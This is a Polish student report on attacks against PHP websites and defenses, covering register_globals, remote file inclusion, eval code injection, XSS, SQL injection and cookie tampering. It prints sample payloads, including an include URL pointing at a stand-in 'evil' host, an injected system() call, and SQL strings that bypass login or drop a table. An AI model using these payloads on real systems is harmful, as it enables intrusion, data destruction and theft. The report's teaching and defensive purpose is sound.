Przemysław Szybowski
Projekt na przedmiot Bezpieczeństwo Systemów Komputerowych
na temat:
Włamania do witryn PHP
Praca stworzona na podstawie strony
http://www.phpwact.org/security/web_application_security/
1. Najczęściej występujące luki w zabezpieczeniach
1.1 Złe nazwy plików oraz ich rozmieszczenie na serwerze
Często popełnianym przez autorów witryn PHP błędem jest używanie oczywistych
i banalnych nazw plików oraz katalogów zawierających dane strony. Dzięki łatwym do
odgadnięcia nazwom, osoba chcąca włamać się na serwer może zbadać i wykorzystać
strukturę aplikacji oraz pliki, które powinny być niedostępne. Przykładowo ukrycie panelu
administracyjnego dla strony w katalogu /admin/ nie jest najlepszym pomysłem, gdyż mimo
nie umieszczenia nigdzie odnośnika do tej strony, jej znalezienie nie stanowi problemu.
Nawet jeśli dostęp do tego panelu jest chroniony hasłem, taka oczywista lokacja stanowi
zagrożenie (włamywacz wie gdzie jest taki panel i ma szansę choćby zgadywać hasła metodą
brute-force). Lepsze ukrycie panelu spowodowałoby, iż nawet mając login i hasło
włamywacz mógłby nie wiedzieć, co z nimi zrobić.
Kolejną rzeczą, której należy unikać jest używanie różnych rozszerzeń dla plików
zawierającym fragmenty naszego kodu. Wbrew temu, co zalecane jest w niektórych
poradnikach, nie powinno się nadawać plikom bibliotecznym oraz z danymi rozszerzeń .lib,
.inc lub podobnych. Mimo, że zwiększa to porządek w kodzie, to pliki te zazwyczaj nie mają
żadnego specjalnego statusu dla serwera WWW, dzięki czemu mogą być listowane
w indeksach zawartości serwera lub wręcz pobierane przez przeglądarkę i wyświetlane
włamywaczowi w niezmienionej formie. Dobrym wyjściem z tej sytuacji jest używanie
dłuższych rozszerzeń typu biblioteka.lib.php. Pliki o rozszerzeniu .php zazwyczaj nie są
listowane w indeksach plików, a obejrzenie ich zawartości poprzez przeglądarkę internetową
jest niemożliwe. .php są plikami interpretowalnymi po stronie serwera, dzięki czemu serwer
nie wysyła zawartości plików, tylko rezultat wykonania skryptu, czyli w przeważającej części
nic albo jakiś niewiele mówiący tekst.
Poza ukrywaniem plików poprzez nadawanie im rozszerzeń .php należy brać pod uwagę
także ich położenie w systemie plików serwera. Jeśli nie ma konieczności, aby plik znajdował
się w hierarchii plików widocznych dla klientów (document root) to lepiej go tam nie
umieszczać minimalizujemy wtedy szansę na zdobycie tego pliku poprzez przeglądarkę. Na
przykład plik biblioteka.lib zamiast nazywać biblioteka.lib.php możemy wgrać do katalogu na
serwerze niewidocznym dla klientów zaś w kodzie używać funkcji include podając pełną
ścieżkę dostępu do biblioteki.
Oprócz dostępności naszych plików poprzez serwer WWW, należy także rozważyć ich
dostępność spod innych kont użytkowników (w przypadku używania zdalnej maszyny
z wieloma kontami użytkowników). Często występującym błędem jest przechowywanie
poufnych danych w plikach dotyczących sesji, które przez serwer mogą być trzymane
w ogólnodostępnym katalogu /tmp.
1.2 Udostępnianie informacji dotyczących wnętrza i działania
aplikacji
Poza udostępnianiem osobom postronnym całego pliku zródłowego z kodem aplikacji,
częstym błędem jest wyświetlanie klientowi informacji mogących dać pogląd na układ oraz
działanie aplikacji. Najczęstszym zagrożeniem jest ignorowanie informacji o błędach
i wyświetlanie ich klientowi pobierającemu stronę. Często uzyskuję on dzięki temu
informacje o zmiennych występujących w kodzie, co ułatwia dalsze ataki (np. z
wykorzystaniem luki w rejestracji zmiennych globalnych). Niedociągnięciem jest także
umieszczanie w wyjściowym kodzie HTML komentarzy mogących dać włamywaczowi
pogląd na sposób działania aplikacji PHP.
- 2 -
Informacjami, które nie są poufne, ale nie powinny być udzielane, gdyż mogą pokazać
możliwe drogi ataku na serwer są informacja o serwerze WWW oraz o wersji PHP. Ukrycie
ich leży bardziej w kompetencjach administratora, ale zawsze istnieje szansa zasugerowania
mu wyłączenia zgłaszania się na stronach nazwy serwera WWW wraz z jego wersją oraz
podobne ukrycie informacji dotyczących zainstalowanego środowiska do PHP. Przykładowo
link:
http://ul.ii.uj.edu.pl/1
1.3 Luka w systemie register_globals
Ważnym miejscem, które pozwala na przeprowadzanie wielu różnych ataków jest opcja
register_globals w ustawieniach modułu PHP. Włączenie tej opcji powoduje, iż wszystkie
zmienne zewnętrzne (takie jak zmienne przychodzące z formularzy, zmienne sesyjne, itp.)
stają się automatycznie zmiennymi globalnymi w skrypcie. Sprzyja to pisaniu nieporządnego
kodu, w którym nie sprawdzamy zródła pochodzenia danej zmiennej.
if (authenticated_user()) {
$authorized = true;
}
if ($authorized) {
include "/highly/sensitive/data.php";
}
?>
Powyższy przykład (pochodzący z manuala do PHP) pokazuje, jakie to stwarza
niebezpieczeństwo. Zamysłem programisty było, aby załączać plik tylko w przypadku, gdy
nastąpi prawidłowa identyfikacja klienta jako osobę zaufaną. Jednak brak inicjalizacji
zmiennej authorized powoduje, iż złośliwy użytkownik może ją nadpisać uzyskując
dostęp do poufnych danych. Wystarczy, że w adresie przeglądarki wpisze
skrypt.php?authorized=true
a authorized (jako niezainicjalizowana zmienna, gdyż użytkownik nie został poprawnie
autoryzowany) przyjmuje jako zmienna wartość true z powodu wpisania tam danej przysłanej
od użytkownika, zamiast danej modyfikowanej wyłącznie przez nasz kod!
W rezultacie tego ważnego naruszenia bezpieczeństwa, register_globals została
domyślnie wyłączona w PHP od wersji 4.2.0, a w starszych wersjach zalecane jest wyłączenie
jej. W przypadku, gdy nie zależy od nas konfiguracja serwera, a opcja ta jest włączona, należy
zawsze pamiętać o inicjalizowaniu zmiennych występujących w programie.
1.4 Inne niebezpieczeństwa dotyczące aplikacji PHP
Przy pisaniu aplikacji PHP często wykorzystujemy gotowe moduły napisane uprzednio
przez kogoś innego, zazwyczaj z dostarczonym instalatorem. Czasami instalator po
wykonaniu pracy sam usuwa swoje pliki, czasem program odmawia uruchomienia dopóki nie
usuniemy plików instalacyjnych, jednak przeważająca większość nie zwraca na to żadnej
uwagi. Zostawianie plików instalacyjnych w katalogu ogólnodostępnym może być wysoce
niebezpieczne może się zdarzyć, że włamywacz z ich pomocą przeinstaluje aplikację na
serwerze usuwając w ten sposób wszystkie nasze dane.
Podobne zagrożenie stwarza zostawianie w ogólnodostępnym miejscu na serwerze
starszych, nieaktualnych wersji aplikacji. Dzięki próbom na nim włamywacz może odkryć
sposób działania aktualnej wersji lub, jeśli stara aplikacja dalej ma dostęp do danych, możemy
zostawić w ten sposób szeroko otwartą furtkę dla włamywaczy.
Podczas instalacji programów, serwerów (WWW oraz baz danych) powinno się mieć
zawsze na uwadze zmianę domyślnie ustawianych w danej aplikacji haseł dostępu. Nawet
- 3 -
najlepiej zabezpieczone skrypty będą niewiele warte, jeśli administrator naszej bazy MySQL
zapomniał zmienić domyślnego pustego hasła dla konta root.
Ostatnie, co należy także wziąć pod uwagę, jest sposób przesyłania danych pomiędzy
przeglądarką klienta a naszą stroną. Protokół HTTP w swojej podstawowej wersji jest
niezaszyfrowany, dzięki czemu osoba trzecia może bez żadnych zbytnich trudności
podsłuchiwać przesyłane pakiety. Z tego powodu podczas wysyłania do klienta albo od
klienta poufnych informacji (numer karty kredytowej, ważne hasła dostępu) należy rozważyć
szyfrowanie transmisji. Niestety zazwyczaj wiąże się to z głębszą ingerencją w strukturę
serwera WWW oraz koniecznością uzyskania certyfikatu od jakiejś instytucji certyfikującej.
2. Metody ataków na strony PHP
2.1 Ataki informacyjne
Często przed właściwym atakiem na serwer PHP, włamywacz wcześniej przeprowadza
atak informacyjny w celu rozpoznania działających aplikacji, układu plików i katalogów na
serwerze oraz wynikających z tego możliwych luk w zabezpieczeniach.
Najprostszą metodą rozpoznania układu plików i katalogów na serwerze jest podążanie za
wszystkimi dostępnymi linkami na stronie i ich zapamiętywanie (web crawling). Ta metoda
wykorzystywana jest przez indeksery wyszukiwarek internetowych oraz przez aplikacje
zapisujące całe witryny na lokalny dysk twardy.
Rozwinięciem poprzedniej metody jest Path Truncation Attack polegający na tym, że dla
każdego uzyskanego poprzednio adresu sprawdzamy wszystkie jego katalogi nadrzędne.
W ten sposób sprawdzamy czy nie uda nam się dostać do jakiegoś dostępnego katalogu
wyświetlającego indeks swojej zawartości dla wszystkich klientów. Przykładowo znając
adres:
http://ul.ii.uj.edu.pl/images/stories/igorpodolak.jpg
sprawdzamy w poszukiwaniu indeksów adresy:
http://ul.ii.uj.edu.pl/images/stories/
http://ul.ii.uj.edu.pl/images/
http://ul.ii.uj.edu.pl/
Po ich sprawdzeniu okazuje się, że indeksowanie katalogów na tym konkretnym serwerze jest
prawdopodobnie wyłączone.
Ostatnią metodą, która zostanie wspomniana jest lokalne skanowanie katalogów.
Występuje ona głównie na publicznych serwerach dzielonych przez wielu użytkowników,
posiadających konta w jednym systemie plików. Dzięki temu może stać się możliwe
przeglądanie niezabezpieczonych katalogów innych użytkowników, uzyskując dostęp do
zródeł ich serwisów PHP.
2.2 Ataki typu Injection
Jednym z częstszych powodów używania PHP, jest obsługa danych przychodzących od
użytkowników. Z tego powodu duża część ataków polega na podmianie wysyłanych
serwerowi danych z nadzieją, że programista tego nie przewidział i pozwoli to wpłynąć na
wykonanie programu.
2.2.1 Atak Global Variable Injection
Poznana już wcześniej metoda na nadpisanie zmiennej globalnej w skrypcie jest atakiem
typu Injecton. Polega on na wstrzyknięciu nazwy zmiennej oraz jej wartości do skryptu
metodą przesyłania danych typu GET do skryptu.
- 4 -
2.2.2 Atak Include File Injection
Najbardziej spektakularne ataki, o których wspomina się nawet na internetowych
serwisach wiadomości, wykorzystują atak Include File Injection. Polega on na wykorzystaniu
luki w programie polegającej na załączaniu do kodu pliku podanego z zewnątrz. Przykładowo
wygląda to tak:
$color = 'blue';
if ( isset( $_GET[ 'COLOR' ] ) )
$color = $_GET[ 'COLOR' ];
require( $color . '.php' );
?>
Pozwala to włączać do programu inny kod wyświetlający stronę w zależności od
preferencji użytkownika. Jednak takie bezpośrednie używanie pliku podanego przez klienta,
bez żadnej weryfikacji pozwala na wiele nadużyć. Przykładowo pytanie o stronę:
skrypt.php?COLOR=http://evil/exploit
wywoła skrypt umiejscowiony na zupełnie innym serwerze z uprawnieniami pliku lokalnego.
Jeśli skrypt przy metodzie require nie dopisuje rozszerzenia .php, staje się możliwe nawet
wywołanie pliku etc/password/ i wyświetlanie go w ten sposób na ekranie. Naraża to nie tylko
aplikację, ale wręcz cały serwer WWW.
2.2.3 Atak Code Injection
Nawet jeśli programista zabezpieczył się przed niewłaściwym użyciem funkcji require,
istnieją szanse na wykonanie własnego kodu w jego skrypcie. Udać się to może poprzez
niewłaściwie zabezpieczoną funkcję eval. Funkcja ta pobiera ciąg znaków, a następnie
wykonuje go jakby była to normalna instrukcja zawarta w kodzie aplikacji.
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
Powyższy kod porównuje zmienną podaną przez użytkownika z uprzednio ustalonym
łańcuchem znaków. Jednak jeśli złośliwy użytkownik poda w zmiennej
10 ; system(\"/bin/echo uh-oh\");
wówczas liczba 10 zostanie porównana ze zmienną, zaś wszystko po średniku zostanie
wykonane jako następna instrukcja.
2.2.4 Atak Cross Site Scripting (CSS)
Poza uruchamianiem w aplikacji własnego kodu, możemy za pomocą obcej strony
wymusić u klienta wywołanie naszego skryptu. Jeśli strona zapamiętuje i wyświetla klientowi
podane wcześniej informacje, można to wykorzystać wpisując tam nasz skrypt, który
następnie zostanie wywołany w przeglądarkach klientów. Dotyczy to wszystkich forów,
książek gości, czy choćby stron witających nas podanym wcześniej imieniem.
Dajmy na to, że autor zamieścił na stronie książkę gości, do której może dopisywać się
każdy, a wpisywany tekst nie jest w żaden sposób sprawdzany. Dodając wówczas wpis
spowodujemy, że każdej następnej osobie przeglądającej książkę serwer będzie wysyłał nasz
wpis uważając go za zwykły kawałek tekstu. Przeglądarka klienta będzie jednak uznawała go
za kod javascript zawarty na stronie i wykona go. W tym konkretnym przypadku zaowocuje
to wyświetleniem w przeglądarce okna z podaną zawartością ciasteczka utworzonego przez tą
stronę. Gdyby to nie przekonywało o niebezpieczeństwie, jakie to ze sobą niesie to kod
- 5 -
spowoduje już wysłanie zawartości ciasteczka do strony atakującego, który będzie mógł to
odczytać i dalej wykorzystać. W ten sposób atakujący może uzyskać dostęp do ciasteczek
(tymczasowych i trwałych) zarządzanych przez przeglądarkę.
2.2.5 Atak SQL Injection
Ostatni omawiany atak działający przez wstrzykiwanie serwerowi własnych danych,
polega właściwie nie na włamywaniu się do aplikacji PHP, ale do bazy danych. Często dane
pochodzące z formularzy nie są wykorzystywane na bieżąco w generowaniu strony, lecz służą
za podstawę konstrukcji zapytania dla bazy danych. Dotyczy to zarówno dopisywania
nowych informacji do bazy, jak i podawania, które informacje z bazy mają zostać
wyciągnięte. Przykładowe zapytanie SQL logujące użytkownika na stronie może wyglądać
tak
SELECT UserList.Username FROM UserList WHERE UserList.Username
= 'Username' AND UserList.Password = 'Password'
Na pierwszy rzut oka wszystko jest w porządku, ale jeśli użytkownik poda następujące hasło
anything' OR '1'='1
wówczas zapytanie będzie wyglądało następująco:
SELECT UserList.Username FROM UserList WHERE UserList.Username
= 'Username' AND UserList.Password = 'Password' OR '1'='1'
co może pozwolić użytkownikowi zalogować się na cudze konto bez znajomości hasła.
Dzięki temu atakowi możemy przeglądać, a także wywoływać dowolne inne polecenia na
bazie danych przykładowo podanie hasła:
x' AND 1=(SELECT COUNT(*) FROM tabname); --
x'; DROP TABLE members; --
powoduje dla pierwszego możliwość stwierdzenia czy istnieje tabela o podanej nazwie
w zależności czy otrzymamy błąd w logowaniu czy błąd z powodu nieznanej tabeli. Drugie
hasło z kolei powoduje usunięcie tabeli members z bazy danych! Oba hasła kończymy
znakiem -- który jako komentarz w składni SQL powoduje połknięcie ostatniego znaku
w zapytaniu.
2.3 Ataki poprzez manipulację ciasteczkami
Jest to metoda ataku podobna do Global Variable Injection. Polega ona na podmianie
zawartości zmiennej wykorzystywanej przez skrypt. Jednak w odróżnieniu od GVI zmienna
nie jest przechowywana na serwerze, lecz na komputerze lokalnym.
Jeśli twórca witryny ważne informacje będzie przechowywał w ciasteczkach, np. po
udanym logowaniu będzie ustawiał zmienną admin=1, a w przeciwnym wypadku admin=0,
wówczas nawet po nieudanym zalogowaniu włamywaczowi wystarczy za pomocą prostego
edytora tekstowego zamienić jedną cyfrę w pliku zawierającym ciastko, aby uzyskać pełny
dostęp do strony.
2.4 Pozostałe typy ataków
Oprócz wspomnianych powyżej metod ataku należy pamiętać, że serwer WWW jest
typowym komputerem w sieci. Mogą przydarzać się ataki niezwiązane z aplikacją PHP lub
protokołem HTTP, takie jak DoS albo zwykły brute-force.
- 6 -
3. Metody zabezpieczeń przed atakami
3.1. Zasada ograniczonego zaufania
Podstawową zasadą podczas pisania skryptów PHP jest nigdy nie ufać użytkownikom.
Nawet, jeśli wydaje się, że serwisu używają tylko zaufane osoby, które na pewno nie potrafią
lub nie mają żadnego interesu w uszkodzeniu aplikacji, lepiej jest zadbać o bezpieczeństwo,
niż pózniej żałować straconych danych. Z tego powodu każdą porcję danych pochodzących
od klientów należy traktować jako potencjalnie zawierającą złośliwy kod. Dotyczy to także
danych, które sprawdzane są po stronie klienta (JavaScript), gdyż włamywacz może je wysłać
z pominięciem naszego formularza.
3.2. Konfiguracja serwera
W konfiguracji serwera najważniejsze jest wyłączenie wielokrotnie wspominanej opcji
register_globals. Jeśli nie mamy dostępu do konfiguracji serwera, należy to wziąć pod uwagę
pisząc kod i zawsze pamiętać o inicjalizacji każdej zmiennej.
Następną opcją, którą można wyłączyć na serwerze PHP jest raportowanie błędów
z aplikacji PHP. Proste ustawienie z pliku opcji display_errors na 0, może zapobiec odkryciu
przez włamywacza struktury naszego kodu. Aby jednak uzyskiwać błędy z pracy naszego
skryptu możemy włączyć log_errors i ustawić error_reporting = E_ALL aby uzyskiwać
lepsze informacje. Włączenie opcji magic_quotes_gpc włączy automatyczne zamykanie
tekstu w cudzysłowy, ale lepiej jest używać specyficznych funkcji PHP, o których mowa
będzie dalej. Włączenie opcji safe_mode pozwala użytkownikom sięgać tylko do plików
stworzonych przez nich, jednak opcja ta nie jest zalecana gdyż czasami może powodować
problemy z dostępem do plików stworzonych przez skrypt dokładniejsze informacje na
stronie http://ilia.ws/archives/18-PHPs-safe_mode-or-how-not-to-implement-security.html.
Metodą bardzo restrykcyjną, ale skuteczną jest filtrowanie pewnych znaków w zapytaniach
już na poziomie serwera WWW. Przykładowo filtrowanie znaków <, >, , może wybitnie
ograniczyć pole dla ataków CSS oraz SQL.
3.3. Filtrowanie danych
Najważniejszą kwestią leżącą na głowie programisty PHP przy zabezpieczaniu serwisu
WWW jest filtrowanie i walidacja przychodzących od użytkowników danych. Jak już
wspomniano nigdy nie ma pewności, czy przychodzące dane nie zawierają złośliwego kodu,
dlatego należy sprawdzać każde przychodzące dane, nawet jeśli wydaje nam się to
niepotrzebne.
Szczególnie ważne w kodzie są dane dostarczane do wspomnianych już funkcji eval()
oraz require() z aliasem include(). Jednak jak już wspomniałem zapytania SQL oraz zwykłe
dane zachowane do pózniejszego wyświetlenia także nie są zupełnie bezpieczne.
W przypadku require() możemy sprawdzać czy podana strona jest skryptem PHP istniejącym
lokalnie na serwerze lub wręcz stworzyć listę dopuszczonych stron i nie pozwalać na
wyświetlanie żadnej innej. W przypadku funkcji eval() najlepiej jej nie używać, chyba że jest
to nam kompletnie niezbędne (w przypadku dynamicznie generowanego kodu).
Używając danych jako części zapytania MySQL, należy zawsze pamiętać o wykonaniu
uprzednio addslashes() lub mysql_escape_string() (chyba, że mamy już włączoną opcję
magic_quotes_gpc).
3.4. Sesje
Często w wypadku logowania (lub podobnych) musimy zapamiętać informację
o użytkowniku. Zwykłe zapisanie ciasteczka z informacją o zalogowaniu nie daje dobrych
- 7 -
rezultatów z powodu możliwości zmiany ciasteczka przez klienta. Mamy dwa wyjścia
zapisać dane, którymi się logował i sprawdzać ich poprawność za każdym razem lub
wykorzystać sesje. Wyjście pierwsze oznacza ciągłe sprawdzanie w bazie użytkowników
poprawność danych oraz niesie zagrożenie przy ciasteczku o długiej ważności, iż ktoś
podejrzy ciastko na komputerze klienta i zdobędzie dane wystarczające do zalogowania się na
jego konto. Rozwiązanie za pomocą sesji, mimo że preferowane, może oznaczać obniżenie
bezpieczeństwa, jeśli nasz serwer trzyma dane sesji w publicznym katalogu (np. /tmp/).
3.5. Pozostałe zabezpieczenia
Oprócz powyższych kroków bezpieczeństwa, należy też wyeliminować wszystkie
potencjalne luki osłabiające bezpieczeństwo serwera wspomniane w punkcie pierwszym.
Dotyczy to przede wszystkim ukrycia wersji serwera WWW oraz informacji o PHP oraz
prawidłowe rozmieszczanie i nazywanie plików. Stosowanie się do tych zaleceń pozwoli, jeśli
nie zupełnie wyeliminować zagrożenie, to przynajmniej znacznie je zmniejszyć.
Bibliografia:
http://www.phpwact.org/security/web_application_security/
http://en.wikipedia.org/wiki/Code_injection i inne z wikipedii
http://www.onlamp.com/pub/a/php/2003/07/31/php_foundations.html
http://www.unixwiz.net/techtips/sql-injection.html
http://forums.devshed.com/php-development-5/everyone-must-read-security-notes-
20525.html
http://www.ilovejackdaniels.com/php/writing-secure-php/
- 8 -
Wyszukiwarka
Podobne podstrony:
XHTML i CSS Dostepne witryny internetowejQuery Tworzenie animowanych witryn internetowych jqtwanInstrukcja BHP przy obsłudze szaf i witryn chłodniczychLinki do Audycji Radiowych Starej Witryny Misji FaraonPHP i MySQL Witryna WWW oparta na bazie danych Wydanie IVJoomla! Zabezpieczanie witrynSkalowalne witryny internetowe Budowa, skalowanie i optymalizacja aplikacji internetowych nowej gene22 GIMP Szablon witryny magazyn INTERNETKorneć Szybowce 2010Perl w zarzadzaniu witrynami WWW perwolwięcej podobnych podstron